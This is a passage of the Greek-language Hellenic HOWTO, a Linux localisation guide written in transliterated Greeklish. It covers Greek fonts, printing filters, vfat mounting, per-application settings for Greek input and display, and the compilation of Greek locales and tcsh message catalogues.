/GreekPolyTimesItalic           (grkpoli.pfb)   ;
/Greek-Poly-Times-Plain         /GreekPolyTimesPlain ;
/Greek-Poly-Times-Italic        /GreekPolyTimesItalic ;
===================cut==here=======================================

grpsfilter

Na kai to aplo filtro grpsfilter:
-----------------------------grpsfilter-----------------------
#!/bin/sh
# Filter to print greek from Netscape (may be used in printcap)
# (c) 1997 Angelo Haritsis <ah@computer.org>
# NB: You need my postscript greek fonts and proper Fontmap!
#
exec sed -e 's/\/Times\(.* findfont\)/\/Greek-Times\1/g' \
    -e 's/\Courier\(.* findfont\)/\Greek-Courier\1/g' \
    -e 's/\/Times-Oblique\(.* findfont\)/Greek-Times-Italic\1/g' \
    -e 's/\/Times-BoldOblique\(.* findfont\)/Greek-Times-BoldItalic\1/g'
-----------------------------grpsfilter-----------------------

An ftiakseis enan printer `grps' sto printcap poy pernaei ola ta
Postscript mesa apo to grpsfilter, tote exeis ellhnikh ektypwsh
xwris na "xalaseis" to FontMap.

Profanws to filter doyleyei kai sto cmd line. Apo Netscape print to
a file: test.ps kai meta:
  grpsfilter <test.ps | ghostview -

3.6 Pws kavw mount eva windows partition;

Proupo8esn gia auto eivai va exete kavei compile tov purnva me NLS, 737 kai iso-8859-7. Av 8elete va evergopoiouvtai ta ellnvika ovomata twv arxeiwv Windows automata se ka8e ekkivnsn tou sustnmatos, prepei va avtikatastnsete sto arxeio fstab stn grammn opou givetai mount tns katatmnsns me to vfat tn le3n default me tnv ru8misn iocharset=iso8859-7. Bazei kaveis parametrous sto /etc/fstab gia windows partition me ellnvika filenames, px:

/dev/hda1       /Win95  vfat    rw,user,codepage=737,iocharset=iso8859-7        0       0
n pervate tis parametrous kateu8eiav stnv evtoln mount, px:
mount -tvfat -onoexec,iocharset=iso8859-7 /dev/hda1 /Win95

3.7 Pws va grayw eva CD sto Linux;

Xrnsimopoinste to xcdroast, prose3te omws to format pou 8a diale3ete. To paradosiako protupo ISO9660 dev mporei va perilabei ola xaraktnristika pou exei eva UNIX filesystem opws auto tou Linux, to ext2. Avt' autou ta UNIX exouv to Rockridge, pou upostnrizei directories megalou ba8ous, mikra-megala grammata, ovomata me periergous xaraktnres (kai oi ellnvikoi eivai tetoioi gia ta CD), symbolic links, file permissions klp. To Romeo/Joliet pou eivai gia windows, dev eivai toso kalo oso to Rockridge (px dev grafei swsta ovomata pou arxizouv me teleia), gia auto xrnsimopoieiste stnv avagkn tnv xakia "Rockridge+Joliet", douleuei ayoga sto diabasma tou CD se polla leitourgika sustnmata.

Eav avarwtieste giati dev douleuei n egkatastasn tou Linux pou brnkate se kapoio CD, eivai polu pi8avos logos oti dev eivai Rockridge.


HELLENIC HOWTO: Efarmoges

 Next Previous Contents

4. Efarmoges

Gevika, oi efarmoges prepei va metaglwttizovtai me NLS -otav uparxei- kai ws "8-bin-clean" giati ta ellnvika xrnsimopoiouv kai ta 8 bits.

Epeidn n glwssa eivai ta ellnvika, 8etoume: export LANG=el (bash/sh) n setenv LANG el (csh/tcsh). Kalov 8a eivai va oristei n metablntn periballovtos LC_CTYPE se iso_8859_7. Autn n ru8misn prepei va mpei sto /etc/profile kai sto /etc/csh.cshrc gia ru8misn se epipedo sustnmatos n sto /bashrc kai /cshrc gia xrnstes me bash/sh kai csh/tcsh kelufn avtistoixa.

Episns to /.Xdefaults n /.Xresources 8a prepei va periexei:

       *basicLocale:   C
       *timeFormat:    C
       *numeric:       C
       *displayLang:   iso_8859_7
       *inputLang:     iso_8859_7

4.1 bash

Gia bash v.1.13+, pros8este to parakatw sto /etc/inputrc n sto /.inputrc, gia va exete ellnvika sto kelufos (grammn evtolwv):

          set meta-flag on
          set convert-meta off
          set output-meta on
To idio isxuei kai gia sh.

4.2 csh/tcsh

    export LANG=el_GR
    export LC_CTYPE=iso-8859-7
    stty cs8 -istrip -parenb (???)

=====================================================================
     tcsh :
        Put the following in your /etc/csh.cshrc or .tcshrc file

          setenv LC_CTYPE iso_8859_7
          stty pass8

     Note: If this doesn't work your copy of tcsh was probably not compiled
     with NLS support or possibly it's version 6.03 or lower.

ftp://tesla.ee.cornell.edu/pub/tcsh.
DEN DOULEUEI (tcsh 6.06.00 13-5-95, options 8b, nls, dl ,al, sm)(???)
=====================================================================

4.3 ls

Gia va deite ta arxeia me ellnvika ovomata, ekteleste tnv evtoln ws "ls -N". Gia eukolia kavte tnv alias sto /.profile n balte tnv parametro -N sto $LS_OPTIONS eav dev eivai ndn:

export LS_OPTIONS="$LS_OPTIONS -N"

4.4 more

O Mavwlns Lourakns, < lourakis@csd.uch.gr> "peira3e" to "more" gia va deixvei 928 ellnvika, moreH: ftp://argeas.hellug.gr/pub/unix/linux/GREEK/moreH.tar.gz

4.5 less

Uparxouv diaforoi tropoi gia va douleyei to less, o ka8e evas me diaforetiko ba8mo duskolias:

  • less -r (raw mode, mnv perimevete polu omorfa apotelesmata)
  • set LESSCHARSET="koi8-r" (H pio eukoln lusn)
  • set LESSCHARDEF="8bcccbcc18b95.b128."
  • Me upostnri3n NLS, bl. confapps (H pio "sobarn" lusn)
  • Na peira3ei to charset.c (Gia duvatous lutes):
    ----- CUT HERE - patch.in -----

*** charset.c.orig      Thu Aug  7 11:24:42 1997
--- charset.c   Thu Aug  7 11:25:02 1997
***************
*** 49,54 ****
--- 49,55 ----
        { "dos",        "8bcccbcc12bc5b95.b."           },
        { "koi8-r",     "8bcccbcc18b95.b128."           },
        { "next",       "8bcccbcc18b95.bb125.bb"        },
+       { "8859-7",     "8bcccbcc18b95.b128." }, /* By Antonis Kavarnos */
        { NULL }
  };
    kai meta: setenv LESSCHARSET "8859-7"

4.6 a2ps

Uparxei mia eidikn metaglwttisn tou a2ps v4.0 (ascii to postscript), pou upostnrizei ellnvika, grammevn apo tov Mavwln Lourakn < lourakis@csd.uch.gr> kai tov Giavvn Mouzakn < mouzakis@csd.uch.gr>. Brisketai edw ftp://argeas.hellug.gr/pub/unix/linux/GREEK/a2ps_v4.0-greek.tar.gz { To standard a2ps tha exei syntoma swsth yposthriksh gia ellhnika. }

4.7 genscript

Evallaktika tou a2ps uparxei to GNU enscript, pou 8ewreitai kalutero kai perilambavei episnma upostnri3n gia ellnvika apo tnv ekdosn 1.6.0 kai meta. Gia perissoteres pnrofories deite: http://www.csd.uch.gr/~lourakis/genscript/

4.8 vi

O vi opws tov trexete apo tis gvwstes diavomes 8a prepei va douleyei me ta ellnvika, xwris tropopoinsn, eav oxi, uparxei o viH (ellnvikos vi, 8a tov breite stov Argea) kai o vim.

=====================================================================
Shmeiwteon oti o vim meta thn ekdosh 4.x exei yposthriksh toy
langmap flag (prepei na ginei compile me ayto to flag - standard builds
den to exoyn synithws). To feature ayto, contributed apo ton
Angelo Haritsis <ah@computer.org>, einai meros toy standard vim
distribution kai oxi aplws ena palio patch.
Apo to documentation toy vim (:help langmap):
 langmap(lma):
     This option allows support for keyboards that have a mode for a
     special language.  The idea is that when you are typing text in
Insert mode your keyboard is switched in the special language mode, you
get different key codes for the special characters.  When in command
mode the 'langmap' option takes care of translating these special
characters to the original meaning of the key.  This means you don't
have to change the keyboard mode to be able to execute normal mode commands.
Exei kai to katallhlo setting gia ellhnika sto documentation.
Nomizw oti einai xrhsimo gia vi users...

++ Isws ena linux .rpm (properly built) tha htan xrhsimo.
=====================================================================

4.9 joe

O joe upostnrizei ellnvika eav evergopoinsoume 8bit support, eite trexovtas joe -asis, eite bazovtas tnv parametro -asis sto usr/(local/)/lib/joerc.

4.10 emacs

O Emacs 19+ exei diko tou tropo va diaxeirizetai to plnktrologio. Gi' auto kai dev douleuei opoiadnpote ellnvikn upostnri3n ftiaxtei gia tnv kovsola kai mesa stov Emacs.

H lusn eivai to paketo greek-mode.el, pou exei ftia3ei o Saravtos Kapidakns < sarantos@csd.uch.edu>. Gia perissoteres plnrofories, to idio to paketo mas parapempei stnv dieu8uvsn: http://www.ics.forth.gr/~sarantos/EMACS+GREEK opou uparxouv odngies egkatastasns. To idio to paketo mporei kaveis va to brei eukola kai stis selides tou Hellenic Resources Institute (HRI) sto tmnma pou avaferetai se Ellnvika gia UNIX.

=====================================================================
     emacs :
        In version 19.26 or later of GNU emacs you can simply  set the
        environment variable LC_CTYPE to iso_8859_7 like you do for tcsh
        and elm. If you use an older version put the following in your
        /usr/lib/emacs/site-lisp/default.el file:

          (standard-display-european t)

          (set-input-mode (car (current-input-mode))
                  (nth 1 (current-input-mode))
                  0)

     Dead key functionality should work under GNU emacs provided you use
     GNU emacs v19.30 or higher and XFree86 v3.1.2 or higher, so don't
     start researching available elisp packages implementing "electric
     keys" or anything like that. If you want to implement European
     keyboard conventions in emacs without upgrading the best choice is
     probably the remap package available from the AUC FTP server (see
     section ``References and FTP sites''.)
=====================================================================

4.11 xemacs

Gia va xrnsimopoinsei kaveis xemacs mazi me to kikbd (evdexomevws gevika), prepei va orisei duo grammes sto .xemacs-options:

(global-set-key 'Dacute_accent '"")
(global-set-key 'Ddiaeresis '"")

4.12 pine

To pine to movo pou xreiazetai eivai va oristouv sav "alternative editor" o joe n o viH. Upostnrizei movo 928, arkei sto setup, configure va balei kapoios character-set= ISO-8859-7 kai dev 8elei tipota allo (o pico 8a dexetai 8bit input).

4.13 elm

http://www.cs.columbia.edu/ akonstan/en/greek/elm-greek.txt

elm: Set the following environment variables

          LANG=C
          LC_CTYPE=iso_8859_7
Some versions of elm require that you put the following definitions in your /.elm/elmrc/ file:
          charset = iso-8859-7
          displaycharset = iso-8859-7
          textencoding = 8bit

Kai to palio-kalo elm yposthrizei ellhnika, me ton katallhlo editor. Epishs yparxei mia nekranasthmenh ekdosh poy yposthrizei kai alla kaloydia, to elm-me: ftp://ftp.ozone.fmi.fi/KEH

{ -Me elm 2.4PL5, DEN DOULEYE- OXI PANTA TOYLAXISTON (???) }

4.14 metamail

To configure the metamail package for ISO 8859-7 input/output, set the MM_CHARSET environment variable with "setenv MM_CHARSET ISO-8859-7". Also, set the MM_AUXCHARSETS variable with "setenv MM_AUXCHARSETS iso-8859-7" (???)

4.15 telnet

To telnet 8a prepei va douleuei xwris problnma. Eav oxi, balte autn tnv grammn sto arxeio /.telnetrc:

          set binary true

4.16 rlogin

Eav exete problnmata me to rlogin, dokimaste: "rlogin -8" n "rlogin -L".

4.17 xterm

Tre3te to e3ns: (n opoiadnpote ellnvikn grammatoseira)

xterm -f sc-elot16
n akoma kalutera pngaivoume sto arxeio /.Xresources, kai pros8etoume kapou (px sto telos) tnv grammn autn me to font pou 8eloume, px xterm*font: -misc-fixed-medium-r-semicondensed--0-0-75-75-c-0-iso8859-7

4.18 rxvt

To rxvt gia va mporesei va grayei kai va dei3ei swsta ta ellnvika xreiazetai duo pragmata

  1. Ellnvikes Grammatoseires sta X11, bl. Ellinikes-grammatoseires
  2. Kapoies parametrous stn grammn evtolwv, gia va gurisei se 8-bit mode kai va mnv agvoei to bit pou 3exwrizei ta ellnvika apo ta agglika. Oi magikes parametroi pou kavouv to rxvt sas ellnvikotato eivai:
    % rxvt -8 -meta 8thbit -font GREEKFONT ...
    kai mporeite safws va tis xrnsimopoinsete mazi me o,ti parametrous xrnsimopoieite kavovika sto rxvt sas.

=====================================================================
To rxvt (xterm clone that uses less memory and runs slightly faster)
exei standard support gia full ellhniko keyboard (928 kai 437) poy exw balei
edw kai poly kairo.  Download the latest source kai compile me
#define GREEK_SUPPORT
sto feature.h

To rxvt yposthrizei ellhnika se efarmoges poy doyleyoyn mesa sto
rxvt terminal. Yposthrizei full set ellhnikwn (including:
tono-dialytika, anw teleia, ellhnika omoiwmatika).
Epitrepei kaneis na kanei type taytoxrona se 928 kai 437 se 2 katallhla
diaforetika rxvt windows.
Read file README.greek gia leptomereies.

H swsth lysh gia X11 bebaia einai ena complete XKB package poy tha
yposthrizei to plhres set ellhnikwn. Mexri tote to rxvt einai akoma
xrhsimo (epishs gia 737 taytoxrona me 928 keyboard).

++ Isws ena linux .rpm (properly built) tha htan xrhsimo.
=====================================================================

4.19 minicom

To minicom eivai eva programma epikoivwviwv gia modem, pou 8umizei evtova Telix. H ellnvikn ekdosn upostnrizei 737, xrnsimo gia va mpaivei kaveis se BBS pou douleuouv katw apo DOS (sxedov oles oi ellnvikes eivai tetoies): ftp://argeas.hellug.gr/pub/unix/linux/GREEK/minicom-1.75-elf.tar.gz Perissoteres plnrofories: < roryt@hellug.gr>

{
Fantazomai minicom mesa se rxvt me 737 font kai encoding tha doylepsei
kanonika xwris tropopoihsh tou idioy toy programmatos (arkei na einai
8-bit clean).
}

4.20 samba

To Samba stis teleutaies ekdoseis (>=1.9.17 ?) dev xreiazetai tipota gia va blepoume ellnvika ovomata arxeiwv. Stnv 1.9.18p, dokimastnke auto me epituxia, tre3te to /usr/doc/packages/samba/examples/validchars gia va deite oti upostnrizovtai eav exete amfibolies.

Eav prepei pros8esete ta ellnvika, 8a pate sto [global] tou /etc/smb.conf, va pros8esete tnv grammn "valid chars = 0xa0 0xa1 0xa2 ... klp"

4.21 ispell

O Giavvns Kabaklns < kavaklis@hellug.gr> exei tropopoinsei to ispell, gia va upostnrizei 928 ellnvika. Episns exei eva le3iko sto paketo auto. To FTP site eivai: ftp://argeas.hellug.gr/pub/unix/linux/GREEK/ispellH.tar.gz Evallaktika tou ispell uparxei to aspell.

=====================================================================
ftp://ftp.cs.ucla.edu/pub/ispell/languages/ (???)

     ispell - Spell checking in Danish:
        First make sure you install version 3.1 instead of version 4.0
        of ispell.  The latter is obsolete and multiply brain-damaged.
        You can download the sources for ispell at the GNU archive at
        prep.ai.mit.edu, and you can get a Danish dictionary via FTP
        from ftp.iesd.auc.dk in /pub/packages/dkispell/. Follow the
        compilation instructions and you should have no trouble (One
        caveat: When defining the variables necessary for compilation
        you should slightly confusingly tell ispell that Linux is a Sys
        V type OS by defining the variable USG.)
        When you have installed the Danish dictionary for ispell you
        can check the spelling of a Danish language file by executing
        the command:

        ispell -d danish -T latin1 -w "??????" <your_danish_text_file>

        (Note for non-Danish readers: You can find dictionaries for most
        Western languages by reading the file Where included with the
        sources for ispell.)
=====================================================================

4.22 Midnight Commander

H emfavisn ellnvikwv ovomatwv kai periexomevwv arxeiwv sto mc evergopoieitai apo to mevou Options -> Display bits -> Full 8 bits output. Gia va grayei kaveis ellnvika stov epe3ergastn keimevou kai ta pedia dialogou tou mc, prepei va evergopoinsei sto idio mevou tnv epilogn Full 8 bits input. [ N.Christou@S.andB.gr ]

4.23 Staroffice

Gia office suite proteivoume to StarOffice 5.1.

Gia tov e3ellnvismo tou diabaste to eidiko keimevo StarOffice-and-Greek.

4.24 Netscape

Ta Netscape 3.x & 4.x exouv eggevn (merikn) upostnri3n ellnvikwv. Prwta apo ola, prepei va exoume kavei swsto Configuration twv X windows wste va "blepouv" ellnvikes grammatoseires. Av auto exei givei tote prepei va kavoume ta e3ns 3 bnmata gia va apeikovizovtai ta ellnvika PANTOU sto netscape.

  • Na dnlwsoume swsto encoding/fonts
  • Na peira3oume ta resources tou Netscape
  • Na "ftia3oume" aliases gia ellnvikes grammatoseires iso8859-1 (vai, iso8859-1) kai Windows-1253 wste va blepoume ta ellnvika stis formes (to netscape mperdeuetai kai apekovizei tis formes movo me iso8859-1 grammatoseires). Oi grammatoseires windows-1253 xreiazovtai giati merikoi avegkefaloi web masters bazouv eskemmeva n apo agvoia sta .html tous: charset=windows-1253

Arxizoume :

  • Exovtas avoixto to netscape, apo to mevou view->encoding dialegoume to "Greek (ISO-8859-7)" kai pali apo to idio mevou to "Set Default Encoding". Meta apo to Edit->Preferences, Appearence->Fonts epilegoume sto pedio "For the encoding" to "Greek (ISO-8859-7)" kai sta 2 lists pio katw ta agapnmeva mas ellnvika fonts (ta helvetica kalutera!). Kavoume click sto OK.
  • Sto directory tou netscape uparxei eva arxeio Netscape.ad. Eivai ta Resources. Av upo8esoume oti to netscape exei egkatasta8ei swsta px sto /usr/local/netscape, tote ekteloume sav "root" ta parakatw pou leitourgouv swsta toulaxistov sto netscape 4.03. (Proupo8esn va exoume ta fonts -greek-helvetica).
    cd /usr/X11/lib/X11/app-defaults
\rm -f Netscape
grep -v 'fontList:' /usr/local/netscape/Netscape.ad >/tmp/Netscape
echo "*fontList: \
     -greek-helvetica-medium-r-normal-*-*-120-*-*-*-*-iso8859-7" \
     >>/tmp/Netscape
grep -v '^*defaultCharset:' /tmp/Netscape >Netscape
echo '*defaultCharset:       iso-8859-7' >>Netscape
chmod 644 Netscape
\rm -f /tmp/Netscape
  • Sav root, sto directory pou exoume ta agapnmeva mas ellnvika fonts dnmiourgoume ta aliases ws e3ns:
    cd /usr/X11/lib/X11/fonts/greek
mkfontdir
awk '{printf "%s %s\n", $2, $2}' fonts.dir |sed -e \
 's/iso8859-7/iso8859-1/' >>fonts.alias
awk '{printf "%s %s\n", $2, $2}' fonts.dir |sed -e \
 's/iso8859-7/windows-1253/' >>fonts.alias
  • 3ekivoume ta X kai dialegoume sto edit->preferences->Appearance->fonts ellnvika fonts gia to charset 'windows-1253' kai 'iso8859-1'. (vai ellnvika fonts gia to western charset iso8859-1!!!!).

Plnrofories 8a breite episns sto: http://www.ntua.gr/help.html

Netscape widgets

lazaros sotiriadis:

A epishs gia na vlepete ellinika se ola ta widgets prepei na dosete ti sosti gramatoseira sto
Netscape.ad i se arxeio pou tha kanete xrdb -merge i sto .Xdefaults tis exhs 4 seires :

*fontList: -*-couriergr-medium-r-*-*-*-120-*-*-*-*-iso8859-*
*XmTextField.fontList: -*-couriergr-medium-r-*-*-*-120-*-*-*-*-iso8859-*
*XmText.fontList: -*-couriergr-medium-r-*-*-*-120-*-*-*-*-iso8859-*
*XmList*fontList: -*-couriergr-medium-r-*-*-*-120-*-*-*-*-iso8859-*

Etsi tha blepete ellinika se Ola ta widgets se oles tis selides asxetos
an exoun sto source tous charset=windows-1253 kai akoma tha vlepete
ellinika sta bookmarks kai tha grafete fisika se ola ta widgets (p.x http://...)

Netscape fonts

Shmeiwteon  to greekXfonts-full-1.1.tgz prosferei 3 dynatothtes
gia ellhnika se Netcsape:
 * grinet (Type1),
 * grtex/grtt,
 * helveticagr/couriergr.
Ta Type1 einai to kalytero option (logw oti einai scalable) alla
dystyxws se XFree86 de fainontai toso kala logw kakoy Type1 rasteriser twn XFree.
Se alla unix/X exw anafores oti fainontai poly kalytera.

Polla sites exoyn dymanic font information gia ta keimena opote to Netscape
aytomatws tha dialseksei to katallhlo font. Ayth h praktikh synistatai
se webmasters ellhnikwn keimenwn.


HELLENIC HOWTO: National Language Support

 Next Previous Contents

5. National Language Support

To National Language Support (suvtomografia NLS) eivai mia duvatotnta pou exouv ta pio polla UNIX, wste va evnmerwvovtai oi efarmoges gia tis glwssikes ru8miseis tou xrnstn kai va parousiazouv ta muvnmata tous stnv avtistoixn glwssa.

To NLS xrnsimopoieitai apo polla GNU tools, eidika auta pou trexouv se periballov grammns evtolwv (Command Line Interface - CLI, dnladn to gvwsto prompt), kai upostnrizetai prosfata kai sto grafiko periballov (px KDE). H evnmerwsn twv efarmogwv givetai mesa apo metablntes periballovtos, me evtoles tou tupou LANG="el_GR". Apo Noembrn 1998 ta ellnvika 8a ru8mizovtai ws el_GR (me basn ta avtistoixa ISO protupa), kai elpizoume oti n allagn autn 8a perasei suvtoma stis diavomes.

Ergasia gurw apo to NLS exei kavei kai o Simos 3evitellns, deite to Greek-nls-HOWTO kai auto to ar8ro sto periodiko magaz: http://magaz.hellug.gr/09/04_nls.html.

PROSOXH: To parov kefalaio eixe graftei apo tov Taso Kapio, se mia epoxn pou to NLS dev upnrxe pavta stnmevo sto linux, kai to protupo ntav arketa asta8es (px, mporei va breite va leei gia gr_GR, avti el_GR).

5.1 Proetoimasia

PRWTA blepe poses kai poies eivai oi biblio8nkes tns C pou uparxouv sto sustnma sou. p.x.

 ttyp3:~#ldconfig -v | grep libc.so
 libc.so.4 => libc.so.4.7.2
 libc.so.6 => libc-2.0.4.so
 libc.so.5 => libc.so.5.4.33
Uparxouv 5 katngories libc kai dev eivai sumbates meta3u tous, osov afora ta locale pavta. (Autn tnv stigmn oi pio polloi exouv tis ekdoseis 4 kai 5)
  1. libc 4 ??? (a.out)
  2. libc 5.0.9-5.3.12
  3. libc 5.4.x
  4. glibc 1.x ??? (sav libc 5 gia merikes arxitektovikes Linux)
  5. glibc 2.x.x (libc 6)

5.2 Egkatastasn Ellnvikwv Locale

Xreiazeste tis topikes ru8miseis (localedata), tov compiler localedef kai to diagvwstiko ergaleio locale.

  • Uparxouv treis ekdoseis twv topikwv ru8misewv (Diaferouv elaxista)
    1. H pio palia apoteleitai apo ta
               ftp://dkuug.dk/i18n/WG15-collection/locales/gr_GR              (2679 bytes)
         ftp://dkuug.dk/i18n/WG15-collection/charmaps/ISO_8859-7:1987   (19768 bytes)
         ftp://dkuug.dk/i18n/WG15-collection/locales/en_DK              (101080 bytes)
    2. H alln, pio prosfatn ftp://ftp.debian.org/debian/ ... /sources/admin/wg15-locale_2.orig.tar.gz (n se diafora CDROM me to debian) kai periexei ta
                locales/gr_GR
          locales/en_DK
          charmaps/ISO_8859-7,1987
      (Prepei va douleuei movo gia libc 5.4.x)
    3. H pio kaivourgia ekdosn brisketai eite sto paketo pngaiou kwdika tns glibc 2.0.5 eite sav 3exwristo paketo sav glibc-localedata-2.0.5 Uparxei sto debian (ftp.debian.org),sto redhat (ftp.redhat.com) kai se mirrors tns gnu kai periexei ta gr_GR,en_DK,ISO-8859-7
  • Ta localedef kai locale uparxouv sta paketa me tov pngaio kwdika twv libc 5 kai glibc 2. Episns kukloforouv se binary morfn apo to debian kai redhat kai sav tar.gz apo tnv gnu kai n ekdosn tous prepei va eivai idia me tnv libc pou exete (locale-5.x.y gia tnv libc 5.x.y kai to glibc-localedata-2.x.y gia tnv glibc-2.x.y)

Prwta pngaivete stov upokatalogo opou briskete gr_GR kai trexete tnv evtoln

   >sed -e 's/am_pm "";""/am_pm   "<P*><M*>";"<M*><M*>"/' gr_GR > el_GR
(Gia duvatotnta ellnvikou PM kai MM kai n allagn ovomatos gia sumbatotnta me ta X) Kai gia elegxo
          > tail -n 5 el_GR | grep am_pm
          am_pm  "<P*><M*>";"<M*><M*>"
          t_fmt_ampm ""
          END LC_TIME
Twra sav root dnmiourgnste tous e3ns upokatalogous
   # mkdir -m 755 -p /usr/share/locale/el_GR/LC_MESSAGES
   # mkdir -m 755 -p /usr/share/i18n/charmaps
   # mkdir -m 755 -p /usr/share/i18n/locales
   # ln -sf /usr/share/i18n/charmaps /usr/share/i18n/charmap
Egkatastnste sta swsta mern ta el_GR, en_DK, ISO-8859-7 (n ISO_8859-7:1987 n ISO_8859-7,1987)
# cd (ekei pou eivai ta localedata)
# cp e?_??  /usr/share/i18n/locales
# cd ../charmaps
# cp ISO[-_]8859-7* /usr/share/i18n/charmaps
# cd /usr/share/i18n/charmaps
# ln -s ISO_8859-7,1987 ISO-8859-7
Metaglwttiste, av dev ta exete ndn se binary morfn, ta locale kai localedef. Auto givetai peripou etsi:
 > cd ~/src
 > gzip -dc libc-x.y.z.tar.gz | tar xvf -
 > cd libc-x.y.z
 > ./configure
 > make clean; make depend
 > cd locale
 > make programs
 > su -f root -c 'install -m 755 locale localedef /usr/bin'
Kai twra eiste etoimoi gia tnv metaglwttisn twv topikwv ru8misewv. Sav root:
# cd /usr/share
Se periptwsn pou exete mia libc
# localedef -ci locale/el_GR -f i18n/charmap/ISO-8859-7 el_GR
Se periptwsn pou exete duo p.x. libc-5.4.33 kai libc-2.0.4
# localedef-2.04   -ci el_GR -f ISO-8859-7 el_GR
# localedef-5.4.33 -ci el_GR -f ISO-8859-7 el
# chmod -cR a+r locale
Twra prepei va uparxouv auta katw apo to /usr/share/locale/el_GR (kai to el)
# ls locale/el_GR
LC_COLLATE    LC_CTYPE      LC_MESSAGES/  LC_MONETARY   LC_NUMERIC     LC_TIME

Mia dokimn. Gia kelufos tupou csh p.x. tcsh:

> setenv LANG el_GR
Gia kelufos tupou sh p.x. bash, ksh:
> LANG=el_GR ; export LANG
Dokimaste:
> locale
LANG=el_GR
LC_CTYPE="el_GR"
LC_NUMERIC="el_GR"
LC_TIME="el_GR"
LC_COLLATE="el_GR"
LC_MONETARY="el_GR"
LC_MESSAGES="el_GR"
LC_ALL=
> locale -c LC_TIME | head
LC_TIME
Kur;Deu;Tri;Tet;Pem;Par;Sab
Kuriakn;Deutera;Tritn;Tetartn;Pemptn;Paraskeun;Sabbato
Iav;Feb;Mar;Apr;Mai;Iouv;Ioul;Aug;Sep;Okt;Noe;Dek
Iavouarios;Febrouarios;Martios;Aprilios;Maios;Iouvios;Ioulios;Augoustos;Septembrios;Oktwbrios;Noembrios;Dekembrios
PM;MM
%a %d %b %Y %T %Z
%d/%m/%Y
%T
(H diamorfwsn allazei apo libc se libc)

Twra mporeite va dokimaste merikes efarmoges (arkei va exouv givei compile me mia sumbatn libc)

> unsetenv LESSCHARSET n unset LESSCHARSET
> less kapoio-keimevo-me-ellnvika
> cal
   Augoustos 1997
Ku De Tr Te Pe Pa Sa
                1  2
 3  4  5  6  7  8  9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31
Kai sto Netscape 4 (me libc 5.4.x x > 4 ) avoi3te to Mail & Discussions kai 8a deite sto Date tous mnves stnv mesn px 31/08/1997 kai tis nmeres sta ellnvika. Telos :-)

Egkatastasn Ellnvikwv mnvumatwv diaforwv efarmogwv

Edw uparxouv duo ave3artnta paketa to gencat kai to gettext

a)To gencat erxetai mazi me tov pngaio kwdika tns ka8e libc (katw apo to nls/) n se binary p.x. gencat-x.y.z kai eivai e3artnmevo apo autnv opws kai to localedef. Metaglwttizei arxeia tupou International language text (.m) se katalogous.

b)To gettext, eivai ave3artnto apo tnv libc, kai uparxei suvn8ws se mirrors tns gnu p.x.ftp.kernel.org/pub/mirrors/gnu/gettext-0.10.tar.gz kai sta debian,redhat. (Gia va breite mia prosfatn ekdosn pate sto http://las.ml.org ya3te gia gettext) To xrnsimopoiouv sxedov ola ta paketa tns GNU {file,sh,text,net}-utils kai polla alla paketa p.x. (WindowMaker). Gia plnrofories deite to ftp.kernel.org/pub/mirrors/gnu/ABOUT-NLS, steilte mnvuma stnv ellnvikn omada sto el@li.org n gia va bon8nste mpeite stnv lista el-request@li.org me tnv le3n "subscribe" sto swma tou mnvumatos.

Autn tnv stigmn, apo o,ti gvwrizw, plnrws ellnvika mnvumata exei movo to tcsh 6.07.02 (me patches tou debian) kai xrnsimopoiei, dustuxws, to gencat.

5.3 Egkatastasn tou tcsh

Katebaste to tcsh >= 6.07.02. Breite to gencat (pngaios kwdikas libc,se binary apo redhat,debian) Protou metaglwttiste to tcsh. n

  • Epe3ergasteite to config_f.h kai alla3te to #undef NLS_CATALOGS se #define NLS_CATALOGS Alla3te apo ola ta ellnvika arxeia nls/greek/* ta \",\',\v se ",',\n avtistoixa. Alla3te sto nls/Makefile to GENCAT=gencat se GENCAT=gencat -new -lang ANSIC n
  • Katebaste to patch gia tnv ekdosn 6.07.02 apo to debian (ftp.debian.org/debian/hamm/hamm/source/shells/ )

Metaglwttiste, egkatastnste, dokimaste to tcsh

 >make
 >make catalogs
 >su -f root -c 'make install'
 >su -f root -c 'install -m 644 tcsh.greek.cat /usr/share/locale/el_GR/tcsh'
 >/bin/tcsh
 >setenv LANG el_GR
 >unsetenv NOREBIND (gia va afnvei grafete sta ellnvika)
 >fkjg
 fkjg: H evtoln de bre8nke.
Av dev sas bgalei ellnviko mnvuma tote
  • Eleg3te to /usr/share/locale/el_GR/tcsh kai to /bin/tcsh
      >ls -l /usr/share/locale/el_GR/tcsh
  -rw-r--r--   1 root     root        47443 Iouv 12 21:27 /usr/share/locale/el_GR/tcsh
  >file /usr/share/locale/el_GR/tcsh
  /usr/share/locale/el_GR/tcsh: data
  >ls -l /bin/tcsh
  -rwxr-xr-x   1 root     root       270476 Sab Aug 10:23 /bin/tcsh
  >date
  Sab Aug   9 10:38 EET DST 1997
  • Bebaiw8eite oti to gencat erxetai apo mia sumbatn libc
     > gencat -V
 localedef (GNU libc) 2.0.4
 Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
 This is free software; see the source for copying conditions.  There is NO
 warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 Written by Ulrich Drepper.
 > ldd /bin/tcsh
        libnsl.so.1 => /lib/libnsl.so.1 (0x40003000)
        libncurses.so.4 => /usr/lib/libncurses.so.4 (0x4000a000)
        libcrypt.so.1 => /lib/libcrypt.so.1 (0x4004a000)
        libc.so.6 => /lib/libc.so.6 (0x40078000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x00000000)

Av to mnvuma eivai kapws etsi

 fkjg: ^H ^e^v^t^o^l^n ^d^e ^b^r^e^8^n^k^e.
  1. Eleg3te ta permissions stnv /usr/share/locale/el_GR
     > ls -l /usr/share/locale/el_GR
 total 96
 drwxr-xr-x   3 root     root         1024 Iouv 25 20:40 ./
 drwxr-xr-x  68 root     root         2048 Aug   6 10:41 ../
 -rw-r--r--   1 root     root        29156 Iouv 25 20:36 LC_COLLATE
 -rw-r--r--   1 root     root        10428 Iouv 25 20:36 LC_CTYPE
 drwxr-xr-x   2 root     root         1024 Iouv 25 20:34 LC_MESSAGES/
 -rw-r--r--   1 root     root           95 Iouv 25 20:36 LC_MONETARY
 -rw-r--r--   1 root     root           27 Iouv 25 20:36 LC_NUMERIC
 -rw-r--r--   1 root     root          536 Iouv 25 20:36 LC_TIME
 -rw-r--r--   1 root     root        47443 Iouv 12 21:27 tcsh
  2. 3avakavete compile tis topikes ru8miseis me to localedef
  3. Eleg3te tnv ekdosn tou localedef kai tns libc wste va eivai idies
     > localedef -V
 localedef (GNU libc) 2.0.4
